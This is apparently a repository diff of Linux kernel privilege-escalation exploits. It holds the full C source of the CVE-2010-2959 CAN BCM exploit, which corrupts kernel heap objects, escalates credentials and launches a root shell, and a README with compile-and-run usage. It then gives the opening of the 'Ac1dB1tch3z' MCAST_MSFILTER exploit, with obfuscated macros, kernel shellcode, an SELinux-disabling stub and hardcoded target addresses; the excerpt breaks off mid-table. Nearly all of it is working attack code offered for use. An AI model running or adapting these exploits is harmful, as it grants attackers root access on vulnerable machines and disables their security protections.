|
||||
* call to update the existing RX op, we bypass the E2BIG check since the
|
||||
* stored nframes in the op is large, yet has an insufficiently sized
|
||||
* allocation associated with it. We then have a controlled write into the
|
||||
* adjacent shmid_kernel object in the 96-byte SLUB cache.
|
||||
*
|
||||
* However, while we control the length of the SLUB overwrite via a
|
||||
* memcpy_fromiovec operation, there exists a memset operation that directly
|
||||
* follows which zeros out last_frames, likely an adjacent allocation, with
|
||||
* the same malformed length, effectively nullifying our shmid smash. To
|
||||
* work around this, we take advantage of the fact that copy_from_user can
|
||||
* perform partial writes on x86 and trigger an EFAULT by setting up a
|
||||
* truncated memory mapping as the source for the memcpy_fromiovec operation,
|
||||
* allowing us to smash the necessary amount of memory and then pop out and
|
||||
* return early before the memset operation occurs.
|
||||
*
|
||||
* We then perform a dry-run and detect the shmid smash via an EIDRM errno
|
||||
* from shmat() caused by an invalid ipc_perm sequence number. Once we're
|
||||
* sure we have a shmid_kernel under our control we re-smash it with the
|
||||
* malformed version and redirect control flow to our credential modifying
|
||||
* calls mapped in user space.
|
||||
*
|
||||
* Distros: please use grsecurity's MODHARDEN or SELinux's module_request
|
||||
* to restrict unprivileged loading of uncommon packet families. Allowing
|
||||
* the loading of poorly-written PF modules just adds a non-trivial and
|
||||
* unnecessary attack surface to the kernel.
|
||||
*
|
||||
* Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports
|
||||
* easily to other vulnerable kernels/distros. Careful, it could use some
|
||||
* post-exploitation stability love as well.
|
||||
*
|
||||
* Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that
|
||||
* this exploit borrows code from.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/shm.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define SLUB "kmalloc-96"
|
||||
#define ALLOCATION 96
|
||||
#define FILLER 100
|
||||
|
||||
#ifndef PF_CAN
|
||||
#define PF_CAN 29
|
||||
#endif
|
||||
|
||||
#ifndef CAN_BCM
|
||||
#define CAN_BCM 2
|
||||
#endif
|
||||
|
||||
struct sockaddr_can {
|
||||
sa_family_t can_family;
|
||||
int can_ifindex;
|
||||
union {
|
||||
struct { uint32_t rx_id, tx_id; } tp;
|
||||
} can_addr;
|
||||
};
|
||||
|
||||
struct can_frame {
|
||||
uint32_t can_id;
|
||||
uint8_t can_dlc;
|
||||
uint8_t data[8] __attribute__((aligned(8)));
|
||||
};
|
||||
|
||||
struct bcm_msg_head {
|
||||
uint32_t opcode;
|
||||
uint32_t flags;
|
||||
uint32_t count;
|
||||
struct timeval ival1, ival2;
|
||||
uint32_t can_id;
|
||||
uint32_t nframes;
|
||||
struct can_frame frames[0];
|
||||
};
|
||||
|
||||
#define RX_SETUP 5
|
||||
#define RX_DELETE 6
|
||||
#define CFSIZ sizeof(struct can_frame)
|
||||
#define MHSIZ sizeof(struct bcm_msg_head)
|
||||
#define IPCMNI 32768
|
||||
#define EIDRM 43
|
||||
#define HDRLEN_KMALLOC 8
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next;
|
||||
struct list_head *prev;
|
||||
};
|
||||
|
||||
struct super_block {
|
||||
struct list_head s_list;
|
||||
unsigned int s_dev;
|
||||
unsigned long s_blocksize;
|
||||
unsigned char s_blocksize_bits;
|
||||
unsigned char s_dirt;
|
||||
uint64_t s_maxbytes;
|
||||
void *s_type;
|
||||
void *s_op;
|
||||
void *dq_op;
|
||||
void *s_qcop;
|
||||
void *s_export_op;
|
||||
unsigned long s_flags;
|
||||
} super_block;
|
||||
|
||||
struct mutex {
|
||||
unsigned int count;
|
||||
unsigned int wait_lock;
|
||||
struct list_head wait_list;
|
||||
void *owner;
|
||||
};
|
||||
|
||||
struct inode {
|
||||
struct list_head i_hash;
|
||||
struct list_head i_list;
|
||||
struct list_head i_sb_list;
|
||||
struct list_head i_dentry_list;
|
||||
unsigned long i_ino;
|
||||
unsigned int i_count;
|
||||
unsigned int i_nlink;
|
||||
unsigned int i_uid;
|
||||
unsigned int i_gid;
|
||||
unsigned int i_rdev;
|
||||
uint64_t i_version;
|
||||
uint64_t i_size;
|
||||
unsigned int i_size_seqcount;
|
||||
long i_atime_tv_sec;
|
||||
long i_atime_tv_nsec;
|
||||
long i_mtime_tv_sec;
|
||||
long i_mtime_tv_nsec;
|
||||
long i_ctime_tv_sec;
|
||||
long i_ctime_tv_nsec;
|
||||
uint64_t i_blocks;
|
||||
unsigned int i_blkbits;
|
||||
unsigned short i_bytes;
|
||||
unsigned short i_mode;
|
||||
unsigned int i_lock;
|
||||
struct mutex i_mutex;
|
||||
unsigned int i_alloc_sem_activity;
|
||||
unsigned int i_alloc_sem_wait_lock;
|
||||
struct list_head i_alloc_sem_wait_list;
|
||||
void *i_op;
|
||||
void *i_fop;
|
||||
struct super_block *i_sb;
|
||||
void *i_flock;
|
||||
void *i_mapping;
|
||||
char i_data[84];
|
||||
void *i_dquot_1;
|
||||
void *i_dquot_2;
|
||||
struct list_head i_devices;
|
||||
void *i_pipe_union;
|
||||
unsigned int i_generation;
|
||||
unsigned int i_fsnotify_mask;
|
||||
void *i_fsnotify_mark_entries;
|
||||
struct list_head inotify_watches;
|
||||
struct mutex inotify_mutex;
|
||||
} inode;
|
||||
|
||||
struct dentry {
|
||||
unsigned int d_count;
|
||||
unsigned int d_flags;
|
||||
unsigned int d_lock;
|
||||
int d_mounted;
|
||||
void *d_inode;
|
||||
struct list_head d_hash;
|
||||
void *d_parent;
|
||||
} dentry;
|
||||
|
||||
struct file_operations {
|
||||
void *owner;
|
||||
void *llseek;
|
||||
void *read;
|
||||
void *write;
|
||||
void *aio_read;
|
||||
void *aio_write;
|
||||
void *readdir;
|
||||
void *poll;
|
||||
void *ioctl;
|
||||
void *unlocked_ioctl;
|
||||
void *compat_ioctl;
|
||||
void *mmap;
|
||||
void *open;
|
||||
void *flush;
|
||||
void *release;
|
||||
void *fsync;
|
||||
void *aio_fsync;
|
||||
void *fasync;
|
||||
void *lock;
|
||||
void *sendpage;
|
||||
void *get_unmapped_area;
|
||||
void *check_flags;
|
||||
void *flock;
|
||||
void *splice_write;
|
||||
void *splice_read;
|
||||
void *setlease;
|
||||
} op;
|
||||
|
||||
struct vfsmount {
|
||||
struct list_head mnt_hash;
|
||||
void *mnt_parent;
|
||||
void *mnt_mountpoint;
|
||||
void *mnt_root;
|
||||
void *mnt_sb;
|
||||
struct list_head mnt_mounts;
|
||||
struct list_head mnt_child;
|
||||
int mnt_flags;
|
||||
const char *mnt_devname;
|
||||
struct list_head mnt_list;
|
||||
struct list_head mnt_expire;
|
||||
struct list_head mnt_share;
|
||||
struct list_head mnt_slave_list;
|
||||
struct list_head mnt_slave;
|
||||
struct vfsmount *mnt_master;
|
||||
struct mnt_namespace *mnt_ns;
|
||||
int mnt_id;
|
||||
int mnt_group_id;
|
||||
int mnt_count;
|
||||
} vfsmount;
|
||||
|
||||
struct file {
|
||||
struct list_head fu_list;
|
||||
struct vfsmount *f_vfsmnt;
|
||||
struct dentry *f_dentry;
|
||||
void *f_op;
|
||||
unsigned int f_lock;
|
||||
unsigned long f_count;
|
||||
} file;
|
||||
|
||||
struct kern_ipc_perm {
|
||||
unsigned int lock;
|
||||
int deleted;
|
||||
int id;
|
||||
unsigned int key;
|
||||
unsigned int uid;
|
||||
unsigned int gid;
|
||||
unsigned int cuid;
|
||||
unsigned int cgid;
|
||||
unsigned int mode;
|
||||
unsigned int seq;
|
||||
void *security;
|
||||
};
|
||||
|
||||
struct shmid_kernel {
|
||||
struct kern_ipc_perm shm_perm;
|
||||
struct file *shm_file;
|
||||
unsigned long shm_nattch;
|
||||
unsigned long shm_segsz;
|
||||
time_t shm_atim;
|
||||
time_t shm_dtim;
|
||||
time_t shm_ctim;
|
||||
unsigned int shm_cprid;
|
||||
unsigned int shm_lprid;
|
||||
void *mlock_user;
|
||||
} shmid_kernel;
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
kernel_code(struct file *file, void *vma)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
int ret = 0, oldstyle;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
while (ret != EOF) {
|
||||
if (!oldstyle) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
|
||||
} else {
|
||||
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
|
||||
continue;
|
||||
}
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_') {
|
||||
p--;
|
||||
}
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int
|
||||
check_slabinfo(char *cache, int *active_out, int *total_out)
|
||||
{
|
||||
FILE *fp;
|
||||
char name[64], slab[256];
|
||||
int active, total, diff;
|
||||
|
||||
memset(slab, 0, sizeof(slab));
|
||||
memset(name, 0, sizeof(name));
|
||||
|
||||
fp = fopen("/proc/slabinfo", "r");
|
||||
if (!fp) {
|
||||
printf("[-] sorry, /proc/slabinfo is not available!");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fgets(slab, sizeof(slab) - 1, fp);
|
||||
while (1) {
|
||||
fgets(slab, sizeof(slab) - 1, fp);
|
||||
sscanf(slab, "%s %u %u", name, &active, &total);
|
||||
diff = total - active;
|
||||
if (strcmp(name, cache) == 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
if (active_out) {
|
||||
*active_out = active;
|
||||
}
|
||||
if (total_out) {
|
||||
*total_out = total;
|
||||
}
|
||||
return diff;
|
||||
}
|
||||
|
||||
void
|
||||
trigger(void)
|
||||
{
|
||||
int *shmids;
|
||||
int i, ret, sock, cnt, base, smashed;
|
||||
int diff, active, total, active_new, total_new;
|
||||
int len, sock_len, mmap_len;
|
||||
struct sockaddr_can addr;
|
||||
struct bcm_msg_head *msg;
|
||||
void *efault;
|
||||
char *buf;
|
||||
|
||||
printf("[+] creating PF_CAN socket...\n");
|
||||
|
||||
sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
|
||||
if (sock < 0) {
|
||||
printf("[-] kernel lacks CAN packet family support\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] connecting PF_CAN socket...\n");
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.can_family = PF_CAN;
|
||||
|
||||
ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
|
||||
if (sock < 0) {
|
||||
printf("[-] could not connect CAN socket\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
len = MHSIZ + (CFSIZ * (ALLOCATION / 16));
|
||||
msg = malloc(len);
|
||||
memset(msg, 0, len);
|
||||
msg->can_id = 2959;
|
||||
msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;
|
||||
|
||||
printf("[+] clearing out any active OPs via RX_DELETE...\n");
|
||||
|
||||
msg->opcode = RX_DELETE;
|
||||
ret = send(sock, msg, len, 0);
|
||||
|
||||
printf("[+] removing any active user-owned shmids...\n");
|
||||
|
||||
system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");
|
||||
|
||||
printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");
|
||||
|
||||
diff = check_slabinfo(SLUB, &active, &total);
|
||||
|
||||
shmids = malloc(sizeof(int) * diff * 10);
|
||||
|
||||
cnt = diff * 10;
|
||||
for (i = 0; i < cnt; ++i) {
|
||||
diff = check_slabinfo(SLUB, &active, &total);
|
||||
if (diff == 0) {
|
||||
break;
|
||||
}
|
||||
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
|
||||
}
|
||||
base = i;
|
||||
|
||||
if (diff != 0) {
|
||||
printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");
|
||||
|
||||
i = base;
|
||||
cnt = i + FILLER;
|
||||
for (; i < cnt; ++i) {
|
||||
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
|
||||
}
|
||||
|
||||
msg->opcode = RX_SETUP;
|
||||
ret = send(sock, msg, len, 0);
|
||||
if (ret < 0) {
|
||||
printf("[-] kernel rejected malformed CAN header\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
i = base + FILLER;
|
||||
cnt = i + FILLER;
|
||||
for (; i < cnt; ++i) {
|
||||
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
|
||||
}
|
||||
|
||||
printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");
|
||||
|
||||
mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
|
||||
sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
|
||||
efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);
|
||||
|
||||
printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");
|
||||
|
||||
msg = (struct bcm_msg_head *) efault;
|
||||
memset(msg, 0, mmap_len);
|
||||
msg->can_id = 2959;
|
||||
msg->nframes = (ALLOCATION / 16) * 4;
|
||||
|
||||
msg->opcode = RX_SETUP;
|
||||
ret = send(sock, msg, mmap_len, 0);
|
||||
if (ret != -1 && errno != EFAULT) {
|
||||
printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] seeking out the smashed shmid_kernel...\n");
|
||||
|
||||
i = base;
|
||||
cnt = i + FILLER + FILLER;
|
||||
for (; i < cnt; ++i) {
|
||||
ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);
|
||||
if (ret == -1 && errno == EIDRM) {
|
||||
smashed = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (i == cnt) {
|
||||
printf("[-] could not find smashed shmid, trying running the exploit again!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);
|
||||
|
||||
printf("[+] re-smashing the shmid_kernel with exploit payload...\n");
|
||||
|
||||
shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;
|
||||
|
||||
buf = (char *) msg;
|
||||
memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
|
||||
|
||||
msg->opcode = RX_SETUP;
|
||||
ret = send(sock, msg, mmap_len, 0);
|
||||
if (ret != -1 && errno != EFAULT) {
|
||||
printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
|
||||
if (ret == -1 && errno != EIDRM) {
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
|
||||
printf("[+] launching root shell!\n");
|
||||
|
||||
execl("/bin/bash", "/bin/bash", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
printf("[-] exploit failed! retry?\n");
|
||||
}
|
||||
|
||||
void
|
||||
setup(void)
|
||||
{
|
||||
printf("[+] looking for symbols...\n");
|
||||
|
||||
commit_creds = (_commit_creds) get_symbol("commit_creds");
|
||||
if (!commit_creds) {
|
||||
printf("[-] symbol table not availabe, aborting!\n");
|
||||
}
|
||||
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
|
||||
if (!prepare_kernel_cred) {
|
||||
printf("[-] symbol table not availabe, aborting!\n");
|
||||
}
|
||||
|
||||
printf("[+] setting up exploit payload...\n");
|
||||
|
||||
super_block.s_flags = 0;
|
||||
|
||||
inode.i_size = 4096;
|
||||
inode.i_sb = &super_block;
|
||||
inode.inotify_watches.next = &inode.inotify_watches;
|
||||
inode.inotify_watches.prev = &inode.inotify_watches;
|
||||
inode.inotify_mutex.count = 1;
|
||||
|
||||
dentry.d_count = 4096;
|
||||
dentry.d_flags = 4096;
|
||||
dentry.d_parent = NULL;
|
||||
dentry.d_inode = &inode;
|
||||
|
||||
op.mmap = &kernel_code;
|
||||
op.get_unmapped_area = &kernel_code;
|
||||
|
||||
vfsmount.mnt_flags = 0;
|
||||
vfsmount.mnt_count = 1;
|
||||
|
||||
file.fu_list.prev = &file.fu_list;
|
||||
file.fu_list.next = &file.fu_list;
|
||||
file.f_dentry = &dentry;
|
||||
file.f_vfsmnt = &vfsmount;
|
||||
file.f_op = &op;
|
||||
|
||||
shmid_kernel.shm_perm.key = IPC_PRIVATE;
|
||||
shmid_kernel.shm_perm.uid = getuid();
|
||||
shmid_kernel.shm_perm.gid = getgid();
|
||||
shmid_kernel.shm_perm.cuid = getuid();
|
||||
shmid_kernel.shm_perm.cgid = getgid();
|
||||
shmid_kernel.shm_perm.mode = -1;
|
||||
shmid_kernel.shm_file = &file;
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
setup();
|
||||
trigger();
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
# CVE-2010-2959
|
||||
|
||||
CVE-2010-2959
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-2959](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2959)
|
||||
* [exp-db](http://www.exploit-db.com/exploits/14814/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc i-can-haz-modharden.c -o i-can-haz-modharden
|
||||
$ ./i-can-haz-modharden
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-generic #39-Ubuntu x86_32
|
||||
|
||||
|
||||
|
Binary file not shown.
|
@ -0,0 +1,930 @@
|
|||
/*
|
||||
|
||||
Ac1dB1tch3z Vs Linux Kernel x86_64 0day
|
||||
|
||||
Today is a sad day..
|
||||
|
||||
R.I.P.
|
||||
Tue, 29 Apr 2008 / Tue, 7 Sep 2010
|
||||
|
||||
a bit of history:
|
||||
MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one)
|
||||
|
||||
author David L Stevens <dlstevens () us ibm com>
|
||||
Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
|
||||
committer David S. Miller <davem () davemloft net>
|
||||
Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
|
||||
This patch adds support for getsockopt for MCAST_MSFILTER for
|
||||
both IPv4 and IPv6. It depends on the previous setsockopt patch,
|
||||
and uses the same method.
|
||||
|
||||
Signed-off-by: David L Stevens <dlstevens () us ibm com>
|
||||
Signed-off-by: YOSHIFUJI Hideaki <yoshfuji () linux-ipv6 org>
|
||||
Signed-off-by: David S. Miller <davem () davemloft net>
|
||||
------------------------------------------------------------
|
||||
|
||||
Thank you for signing-off on this one guys.
|
||||
|
||||
This exploit has been tested very thoroughly
|
||||
over the course of the past few years on many many targets.
|
||||
|
||||
Thanks to redhat for being nice enough to backport it into early
|
||||
kernel versions (anything from later August 2008+)
|
||||
|
||||
Ac1dB1tch3z would like to say F*** YOU Ben Hawkes. You are a new hero! You saved the
|
||||
plan8 man. Just a bit too l8.
|
||||
|
||||
PS:
|
||||
OpenVZ Payload / GRsec bypass removed for kidiots and fame whores. (same thing right ;))
|
||||
|
||||
*/
|
||||
|
||||
#include <poll.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sched.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <errno.h>
|
||||
|
||||
|
||||
#ifndef __i386__
|
||||
#error "r34d th3 c0d3 m0r0n!!# () #"
|
||||
#else
|
||||
#define _GNU_SOURCE
|
||||
#define __dgdhdytrg55 unsigned int
|
||||
#define __yyrhdgdtfs66ytgetrfd unsigned long long
|
||||
#define __dhdyetgdfstreg__ memcpy
|
||||
|
||||
#define VERT "\033[32m"
|
||||
#define NORM "\033[0m"
|
||||
#define BANNER VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
|
||||
|
||||
#define KALLSYMS "/proc/kallsyms"
|
||||
#define TMAGIC_66TDFDRTS "/proc/timer_list"
|
||||
#define SELINUX_PATH "/selinux/enforce"
|
||||
#define RW_FOPS "timer_list_fops"
|
||||
#define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
|
||||
#define PREPARE_GGDTSGFSRFSD "prepare_creds"
|
||||
#define OVERRIDE_GGDTSGFSRFSD "override_creds"
|
||||
#define REVERT_DHDGTRRTEFDTD "revert_creds"
|
||||
#define Y0Y0SMAP 0x100000UL
|
||||
#define Y0Y0CMAP 0x200000UL
|
||||
#define Y0Y0STOP (Y0Y0SMAP+0xFFC)
|
||||
#define J0J0S 0x00200000UL
|
||||
#define J0J0R00T 0x002000F0UL
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
#define KERN_DHHDYTMLADSFPYT 0x1
|
||||
#define KERN_DGGDYDTEGGETFDRLAK 0x2
|
||||
#define KERN_HHSYPPLORQTWGFD 0x4
|
||||
|
||||
|
||||
#define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8
|
||||
#define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10
|
||||
#define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20
|
||||
|
||||
#define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40
|
||||
|
||||
#define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
|
||||
|
||||
#define TRY_REMAP_DEFAULT 1
|
||||
|
||||
#define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
|
||||
#define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
|
||||
#define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
|
||||
#define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
|
||||
|
||||
static char buffer[1024];
|
||||
static int s;
|
||||
static int flags=0;
|
||||
volatile static socklen_t magiclen=0;
|
||||
static int useidt=0, usefops=0, uselsm=0;
|
||||
static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
|
||||
static __dgdhdytrg55 _m_cpu_off=0;
|
||||
static char krelease[64];
|
||||
static char kversion[128];
|
||||
|
||||
#define R0C_0FF 14
|
||||
static char ttrg0ccc[]=
|
||||
"\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
|
||||
"\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
|
||||
"\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
|
||||
"\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
|
||||
"\xeb\xcc\x5e\x5b\x5f\x59\xc3";
|
||||
|
||||
|
||||
#define R0YTTTTUHLFSTT_OFF1 5
|
||||
#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
|
||||
#define R0TDGFSRSLLSJ_SHSYSTGD 45
|
||||
char r1ngrrrrrrr[]=
|
||||
"\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"
|
||||
"\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
|
||||
"\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"
|
||||
"\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
|
||||
"\xff\xd3\x5f\x5f\x5a\x5b\xc3";
|
||||
|
||||
|
||||
#define RJMPDDTGR_OFF 13
|
||||
#define RJMPDDTGR_DHDYTGSCAVSF 7
|
||||
#define RJMPDDTGR_GDTDGTSFRDFT 25
|
||||
static char ttrfd0[]=
|
||||
"\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
|
||||
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
|
||||
"\x58\x5f"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\xc3";
|
||||
|
||||
|
||||
/* implement selinux bypass for IDT ! */
|
||||
#define RJMPDDTGR_OFF_IDT 14
|
||||
#define RJMPDDTGR_DYHHTSFDARE 8
|
||||
#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
|
||||
static char ruujhdbgatrfe345[]=
|
||||
"\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
|
||||
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
|
||||
"\x0f\x01\xf8"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
"\x48\xcf";
|
||||
|
||||
|
||||
|
||||
#define CJE_4554TFFDTRMAJHD_OFF 10
|
||||
#define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
|
||||
static char dis4blens4sel1nuxhayettgdr64545[]=
|
||||
"\x41\x52\x50"
|
||||
"\xb8\x00\x00\x00\x00"
|
||||
"\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
|
||||
"\x41\x89\x02"
|
||||
"\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
|
||||
"\x41\x89\x02"
|
||||
"\x58\x41\x5a";
|
||||
|
||||
|
||||
|
||||
|
||||
/* rhel LSM stuffs */
|
||||
#define RHEL_LSM_OFF 98
|
||||
|
||||
struct LSM_rhel
|
||||
{
|
||||
__yyrhdgdtfs66ytgetrfd selinux_ops;
|
||||
__yyrhdgdtfs66ytgetrfd capability_ops;
|
||||
__yyrhdgdtfs66ytgetrfd dummy_security_ops;
|
||||
|
||||
__yyrhdgdtfs66ytgetrfd selinux_enforcing;
|
||||
__yyrhdgdtfs66ytgetrfd audit_enabled;
|
||||
|
||||
const char *krelease;
|
||||
const char *kversion;
|
||||
|
||||
};
|
||||
|
||||
struct LSM_rhel known_targets[4]=
|
||||
{
|
||||
{
|
||||
0xffffffff8031e600ULL,
|
||||
0xffffffff8031fec0ULL,
|
||||
0xffffffff804acc00ULL,
|
||||
|
||||
0xffffffff804af960ULL,
|
||||
0xffffffff8049b124ULL,
|
||||
|
||||
"2.6.18-164.el5",
|
||||
"#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes
|
||||
},
|
||||
{
|
||||
0xffffffff8031f600ULL,
|
||||
0xffffffff80320ec0ULL,
|
||||
0xffffffff804afc00ULL,
|
||||
|
||||
0xffffffff804b2960ULL,
|
||||
